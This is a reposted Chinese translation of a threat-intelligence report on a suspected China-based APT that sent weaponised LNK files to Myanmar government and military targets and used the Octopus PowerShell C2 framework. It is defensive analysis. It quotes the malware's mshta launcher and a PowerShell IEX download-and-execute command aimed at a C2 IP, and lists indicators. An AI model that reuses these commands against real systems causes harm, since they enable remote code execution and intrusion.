搜索

[28651] 2020-11-15_针对缅甸实体的基于中国的未知APT

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-19
2020-11-15_针对缅甸实体的基于中国的未知APT 针 对 缅 甸 实 体 的 基 于 中 国 的 未 知 A P T O t s 安 全   2 0 2 0 - 1 1 - 1 5 作 者 ： P a r t h i b a n   R a j e n d r a n 和 G a g e   M e l e 信 息 截 止 日 期 ： 6 / 1 9 / 2 0 2 0 总 览 “ 异 常 威 胁 研 究 ” 已 经 确 定 了 针 对 以 缅 甸 （ 缅 甸 ） 为 基 地 的 实 体 的 恶 意 活 动 ， 该 实 体 似 乎 已 于 2 0 2 0 年 3 月 开 始 。 这 基 于 文 件 名 和 有 效 负 载 编 译 时 间 。 身 份 不 明 的 高 级 持 续 威 胁 （ A P T ） （ 很 可 能 位 于 中 国 ） 正 在 分 发 W i n d o w s 捷 径 （ L N K ） 文 件 ， 这 些 文 件 已 被 重 命 名 并 可 能 通 过 鱼 叉 式 网 络 分 发 给 了 多 个 目 标 。 异 常 威 胁 研 究 发 现 这 些 L N K 文 件 位 于 多 个 唯 一 命 名 的 R A R ， T G Z 和 Z I P 文 件 中 。 R A R 和 Z I P 文 件 托 管 在 G o o g l e 云 端 硬 盘 中 ， 这 很 可 能 是 避 免 防 病 毒 检 测 的 一 种 策 略 。 该 小 组 使 用 基 于 P o w e r S h e l l 的 R e d   T e a m i n g 工 具 O c t o p u s 进 行 命 令 和 控 制 （ C 2 ） 通 信 。 此 外 ， 《 异 常 威 胁 研 究 》 发 现 L N K 文 件 与 中 国 A P T 野 马 熊 猫 公 司 使 用 的 文 件 非 常 相 似 。 “ 异 常 威 胁 研 究 ” 不 认 为 该 组 织 对 此 活 动 负 责 。 这 种 相 似 性 可 能 潜 在 地 表 明 工 具 共 享 ， 这 在 某 些 国 家 赞 助 的 团 体 中 很 常 见 ， 或 者 可 能 是 用 于 指 定 特 定 地 理 区 域 的 相 似 工 具 。 在 撰 写 本 文 时 ， A n o m a l i   T h r e a t   R e s e a r c h 无 法 将 此 A P T 活 动 归 因 于 任 何 特 定 群 体 。 重 命 名 的 L N K 文 件 显 示 在 下 面 的 表 1 中 。 指 定 目 标 作 为 “ 一 带 一 路 ” 倡 议 的 一 部 分 ， 众 所 周 知 ， 中 国 赞 助 的 A P T 会 针 对 中 华 人 民 共 和 国 政 府 投 资 的 国 家 。 总 部 位 于 中 国 的 A P T 野 马 熊 猫 公 司 的 A n o m a l i   T h r e a t   R e s e a r c h 分 析 也 观 察 到 了 这 一 点 。 截 至 撰 写 本 文 时 ， 中 国 和 缅 甸 在 2 0 2 0 年 有 多 种 经 济 活 动 和 协 议 ， 两 国 有 着 复 杂 的 历 史 ， 常 常 导 致 冲 突 。 [ 1 ]   2 0 2 0 年 1 月 ， 习 近 平 主 席 访 问 了 缅 甸 ， 国 家 参 赞 昂 山 素 欧 签 署 了 3 3 项 有 关 “ 一 带 一 路 ” 倡 议 项 目 的 协 议 。 [ 2 ] 中 国 还 是 缅 甸 最 大 的 投 资 国 之 一 ， 占 缅 甸 总 投 资 的 四 分 之 一 ， 并 且 是 缅 甸 最 大 的 出 口 伙 伴 。 [ 3 ]   A n o m a l i   T h r e a t   R e s e a r c h 认 为 ， 由 于 这 些 经 济 因 素 ， 加 上 文 件 名 和 编 译 时 间 ， 与 以 前 归 因 于 中 国 的 组 织 类 似 的 恶 意 功 能 以 及 潜 在 目 标 的 地 理 位 置 ， 该 活 动 很 可 能 源 自 中 国 来 源 。 潜 在 目 标 实 体 这 些 可 能 的 目 标 专 门 基 于 由 A n o m a l i   T h r e a t   R e s e a r c h 确 定 的 文 件 名 。 缅 甸 警 察 部 队 国 家 危 机 管 理 中 心 （ N C M C ） 全 国 民 主 联 盟 （ N L D ） 军 事 安 全 事 务 主 任 办 公 室 （ O C M S A ） 中 国 与 缅 甸 之 间 的 经 济 活 动 是 《 异 常 威 胁 研 究 》 特 别 感 兴 趣 的 ， 是 中 国 亚 泰 集 团 的 子 公 司 缅 甸 亚 泰 国 际 控 股 集 团 投 资 在 缅 甸 卡 音 州 2 5 . 5 英 亩 的 土 地 开 发 。 [ 4 ] 关 于 缅 甸 边 境 附 近 土 地 上 的 城 市 发 展 问 题 ， 还 有 一 些 令 人 怀 疑 的 细 节 ， 这 已 得 到 缅 甸 投 资 委 员 会 的 批 准 ， 并 由 缅 甸 投 资 公 司 管 理 总 局 （ D I C A ） 的 负 责 人 进 行 了 讨 论 ； 他 确 认 这 块 土 地 将 在 三 年 内 用 于 5 9 栋 别 墅 。 [ 5 ] 2 0 2 0 年 3 月 上 旬 ， 缅 甸 亚 泰 国 际 控 股 集 团 声 称 开 发 的 第 一 阶 段 占 地 2 1 4 英 亩 ， 而 不 是 政 府 批 准 的 由 K a y i n 州 控 制 的 2 5 . 5 英 亩 土 地 。 [ 6 ]   2 0 2 0 年 3 月 的 要 求 可 能 是 这 场 运 动 的 潜 在 催 化 剂 ， 也 可 能 是 故 意 的 。 表 1 - 位 于 R A R 或 Z I P 中 的 重 命 名 L N K 文 件 名 文 件 名 M D 5 o c m s a   [ 2 0 2 0 ]   r e p o r t . r a r 9 1 6 b 2 6 f 2 2 6 5 8 c e 2 5 2 5 3 1 b b 4 e a 4 3 e f 4 c f H t o o   2 陆 军 研 究 （ M P F   2 9 - 0 3 - 2 0 2 0 ） . z i p 7 5 b 7 2 3 4 0 d 6 9 8 8 a c 2 6 2 c a b f 9 2 3 e 5 4 8 9 5 2 o c m s a   H t o o   2 陆 军 研 究 （ M P F   2 9 - 0 3 - 2 0 2 0 ） . r a r 1 f 8 9 a 9 d 0 7 7 a 9 7 1 2 e 6 d 2 2 7 e f 3 c b 1 f a a c 9 o c m s a   [ 3 0 - 0 3 - 2 0 2 0 ]   . z i p 9 e 1 f 7 e 3 5 f b 3 a e 2 9 2 f 4 7 8 d 3 4 6 d 0 7 6 c 2 7 4 技 术 分 析 威 胁 行 为 者 很 可 能 会 分 发 带 有 链 接 的 鱼 叉 式 电 子 邮 件 ， 以 便 从 G o o g l e 云 端 硬 盘 下 载 附 件 。 利 用 G o o g l e 云 端 硬 盘 是 行 为 者 用 来 逃 避 防 病 毒 和 安 全 扫 描 程 序 识 别 恶 意 文 件 的 一 种 已 知 策 略 。 一 旦 用 户 导 航 到 驱 动 器 U R L ， 包 含 武 器 化 W i n d o w s 快 捷 方 式 文 件 的 Z I P 或 R A R 文 件 将 被 下 载 到 目 标 主 机 上 。 活 动 中 使 用 的 L N K 文 件 包 含 带 有 V B s c r i p t 的 嵌 入 式 H T A 文 件 ， 该 文 件 一 旦 执 行 ， 将 在 后 台 拖 放 并 运 行 可 执 行 文 件 ， 并 与 C o m m a n d   a n d   C o n t r o l （ C 2 ） 通 信 。 L N K 文 件 分 析
用 户 打 开 L N K 文 件 后 ， 将 执 行 以 下 命 令 。 该 命 令 将 查 找 包 含 *   2 0 2 0   *   . L N K 的 文 件 ， 然 后 继 续 通 过 m s h t a . e x e 执 行 。 L N K 元 数 据 机 器 I D ： w i n - l u u 9 i 5 o t u i 2 M A C 地 址 ： 0 0 ： 0 c ： 2 9 ： 5 a ： a 6 ： 2 5 M A C 供 应 商 ： V M W A R E 创 建 ： 2 0 1 9 - 0 8 - 0 5   0 1 : 3 1 : 5 7 命 令 /   c （ ％ t e m p ％ = ％ c d ％ ） 中 的 ％ x 用 于 /   f “   d e l i m s   = = ” ％ i   i n （ ' d i r   /   s   /   b “ ％ x   *   2 0 2 0   *   . L N K ” ' ） 执 行 ％ T E M P ： 〜 - 2 , 1 ％ s h t a “ ％ i ” 执 行 命 令 后 ， 它 将 在 “   C ： u s e r s p u b l i c   . e x e ” 目 录 中 写 入 名 为 f . e x e 的 可 执 行 文 件 。 然 后 ， 通 过 W M I 任 务 在 隐 藏 的 窗 口 中 使 用 W i n d o w s   M a n a g e m e n t   I n s t r u m e n t a t i o n （ W M I ） 执 行 文 件 f . e x e 。 图 2 - L N K 文 件 的 屏 幕 截 图 值 得 注 意 的 是 ， 带 有 嵌 入 式 H T A 文 件 的 L N K 文 件 与 M u s t a n g   P a n d a 的 初 始 放 置 程 序 非 常 相 似 ， 但 是 ， A n o m a l i   T h r e a t   R e s e a r c h 无 法 将 此 活 动 归 因 于 该 组 织 。 可 执 行 文 件 f . e x e 使 用 “ 远 离 陆 地 生 存 ” （ L O L b i n ） 技 术 通 过 S h e l l E x e c _ R u n D L L 函 数 启 动 c m d . e x e 。 以 下 命 令 使 用 P o w e r s h e l l 从 C 2 服 务 器 下 载 并 执 行 第 二 阶 段 有 效 负 载 。 载 的 文 件 索 引 索 引 是 一 个 P o w e r S h e l l 脚 本 ， 被 发 现 是 一 个 公 开 可 用 的 O c t o p u s   C 2 框 架 代 理 ， 如 图 3 所 示 。 “   u n d l l 3 2 . e x e ”   S H E L L 3 2 . D L L ， S h e l l E x e c _ R u n D L L “   c m d . e x e ” “   /   c   p o w e r s h e l l   I E X （ N e w - O b j e c t   N e t . W e b C l i e n t ） . D o w n l o a d S t r i n g （ ' h t t p : / / 1 9 3 . 2 9 . 5 9 . 1 3 0 / i n d e x ' ） ; ”
图 3 - 章 鱼 C 2 代 理 比 较 章 鱼 代 理 对 主 机 进 行 指 纹 识 别 ， 并 将 收 集 到 的 信 息 作 为 加 密 的 H T T P 标 头 的 一 部 分 发 送 回 C 2 ， 如 图 4 所 示 。 章 鱼 代 理 可 用 于 下 载 更 多 有 效 负 载 或 对 受 感 染 的 主 机 执 行 其 他 活 动 。 图 4 - 章 鱼 代 理 代 码 片 段 通 过 网 络 进 行 数 据 透 视 以 获 取 其 他 示 例 1 9 3 . 2 9 . 5 9   [ 。 。 ]   1 3 0 使 用 I P 地 址 1 9 3 . 2 9 . 5 9   [ 。 ]   1 3 0 作 为 枢 轴 点 ， A n o m a l i   T h r e a t   R e s e a r c h 能 够 从 H y b r i d - a n a l y s i s . c o m 找 到 名 为 D 0 C X _ O C M S A   R u s s i a   A r m y   W e p p o n   F e r r e n c e 到 到 T h a i l a n d   A r c h i v e . e x e 的 新 样 本 ， 如 图 5 所 示 。 图 5 - 新 识 别 的 示 例 的 屏 幕 截 图 该 示 例 将 与 两 个 C 2   I P 地 址 通 信 ， 如 图 6 所 示 。 2 3 . 1 0 6 . 1 2 2 . 2 3 4 1 9 3 . 2 9 . 5 9 . 1 3 0
图 6 - 新 观 察 到 的 C 2   I P 地 址 2 3 . 1 0 6 . 1 2 2 . 2 3 4 使 用 I P 地 址 2 3 . 1 0 6 . 1 2 2 . 2 3 4 进 行 数 据 透 视 后 进 行 数 据 透 视 后 ， A n o m a l i   T h r e a t   R e s e a r c h 能 够 从 C 2 服 务 器 中 识 别 基 于 P o w e r S h e l l 的 O c t o p u s 代 理 ， 如 下 图 7 所 示 。 图 7 - 新 识 别 的 样 本 正 在 与 2 3 . 1 0 6 . 1 2 2 . 2 3 4 通 信 通 过 编 译 时 间 戳 进 行 透 视 为 了 从 战 役 中 找 到 更 多 样 本 ， A n o m a l i   T h r e a t   R e s e a r c h 使 用 了 已 识 别 样 本 6 a 1 6 1 1 c 1 b d 3 4 f a 3 8 7 8 6 1 7 e f 2 9 0 5 b 1 d 8 7 中 的 一 个 样 本 的 编 译 时 间 戳 。 结 论 由 A n o m a l i   T h r e a t   R e s e a r c h 识 别 出 的 恶 意 活 动 似 乎 与 中 国 组 织 将 使 用 的 技 术 保 持 一 致 。 遵 循 “ 一 带 一 路 ” 倡 议 通 常 会 导 致 识 别 出 与 中 国 组 织 的 战 术 ， 技 术 和 程 序 （ T T P ） 相 吻 合 的 恶 意 活 动 。 与 缅 甸 实 体 相 关 的 文 件 名 的 特 殊 性 ， 与 已 知 的 中 国 赞 助 的 A P T 相 似 的 L N K 功 能 以 及 经 济 和 地 理 因 素 ， 使 A n o m a l i   T h r e a t   R e s e a r c h 认 为 总 部 位 于 中 国 的 A P T 对 此 行 动 负 有 责 任 。 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理